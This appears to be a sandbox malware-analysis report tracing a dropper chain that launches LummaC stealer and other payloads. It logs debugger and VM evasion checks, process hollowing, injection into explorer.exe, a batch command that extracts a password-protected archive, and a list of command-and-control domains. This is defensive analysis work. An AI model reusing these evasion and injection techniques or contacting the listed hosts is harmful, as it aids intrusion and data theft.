Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8096	Thread sleep time: -2917458s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8120	Thread sleep count: 428 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8120	Thread sleep time: -856428s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8104	Thread sleep count: 407 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe TID: 8104	Thread sleep time: -814407s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1104	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5244	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5244	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe TID: 7328	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe TID: 5248	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD4EB2 FindFirstFileW,EnterCriticalSection,LeaveCriticalSection,FindNextFileW,	6_2_00BD4EB2
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD1DC9 FindFirstFileW,FindNextFileW,	6_2_00BD1DC9
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD1000 FindFirstFileW,FindNextFileW,EnterCriticalSection,LeaveCriticalSection,	6_2_00BD1000
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD3F87 FindFirstFileW,FindNextFileW,	6_2_00BD3F87
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Code function: 6_2_00BD4145 FindFirstFileW,FindNextFileW,	6_2_00BD4145
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002E36A9 FindFirstFileExW,	7_2_002E36A9
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002E375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_002E375A

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe

Code function: 6_2_00BD20E1 GetCurrentHwProfileA,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,

6_2_00BD20E1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, skotes.exe, 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmp, 5d99420dfa.exe, 5d99420dfa.exe, 0000000C.00000002.2768631420.0000000001038000.00000040.00000001.01000000.0000000D.sdmp, 0626ec4ce0.exe, 00000019.00000002.2978741093.0000000000F74000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 5d99420dfa.exe, 0000000C.00000002.2768631420.0000000001038000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: QEMU-
Source: 475e05f959.exe, 0000000A.00000003.2763913983.0000000003FF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VmcIc
Source: 93b1627660.exe, 0000000B.00000003.2638034754.00000000068D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlK'W]
Source: 475e05f959.exe, 0000000A.00000003.2860769212.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2862984885.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 5d99420dfa.exe, 0000000C.00000002.2768631420.0000000001038000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: .qEMUf
Source: svchost.exe, 00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: 475e05f959.exe, 475e05f959.exe, 0000000A.00000003.2860769212.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2728397729.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2862664082.0000000000B5C000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2824830489.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759304884.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2862984885.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2557162632.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2728718159.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2860232205.0000000000B5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: svchost.exe, 00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: file.exe, 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768631420.0000000001038000.00000040.00000001.01000000.0000000D.sdmp, 0626ec4ce0.exe, 00000019.00000002.2978741093.0000000000F74000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DxfmGsU.exe, 00000006.00000002.2439242316.000000000939E000.00000004.00000020.00020000.00000000.sdmp, 93b1627660.exe, 0000000B.00000003.2635781472.0000000000932000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000024.00000002.2978820135.000001EBBCCBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

API call chain: ExitProcess graph end node

graph_7-14944

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Process queried: DebugPort
Source: C:\Windows\explorer.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_050A03AA rdtsc

0_2_050A03AA

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Code function: 7_2_002D5020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_002D5020

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4652B mov eax, dword ptr fs:[00000030h]	0_2_00E4652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4A302 mov eax, dword ptr fs:[00000030h]	0_2_00E4A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0083A302 mov eax, dword ptr fs:[00000030h]	1_2_0083A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0083652B mov eax, dword ptr fs:[00000030h]	1_2_0083652B
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002F519E mov edi, dword ptr fs:[00000030h]	7_2_002F519E
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002D1614 mov edi, dword ptr fs:[00000030h]	7_2_002D1614

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe

Code function: 6_2_00BD3595 EnterCriticalSection,GetProcessHeap,RtlAllocateHeap,LeaveCriticalSection,

6_2_00BD3595

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002D5020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_002D5020
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002D5014 SetUnhandledExceptionFilter,	7_2_002D5014
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002D4C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_002D4C64
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002DB4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_002DB4B9

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Code function: 7_2_002F519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

7_2_002F519E

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1784 base: 8C9010 value: 00

LummaC encrypted strings found

Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 1784

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe "C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe "C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe "C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe "C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe "C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe "C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe "C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Process created: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe "C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe "C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe"
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Process created: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe"

Source: 5d99420dfa.exe, 5d99420dfa.exe, 0000000C.00000002.2768631420.0000000001038000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: tProgram Manager
Source: 0626ec4ce0.exe, 00000019.00000002.2978741093.0000000000F74000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: rProgram Manager
Source: file.exe, file.exe, 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, skotes.exe, 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: fProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe

Code function: 6_2_00BD20E1 cpuid

6_2_00BD20E1

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: EnumSystemLocalesW,	7_2_002E3086
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: GetLocaleInfoW,	7_2_002E30D1
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_002E3178
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: GetLocaleInfoW,	7_2_002DF21C
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_002E2A13
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: GetLocaleInfoW,	7_2_002E327E
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: EnumSystemLocalesW,	7_2_002E2C64
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_002E2CFF
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: EnumSystemLocalesW,	7_2_002DF717
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: EnumSystemLocalesW,	7_2_002E2F52
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: GetLocaleInfoW,	7_2_002E2FB1

Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

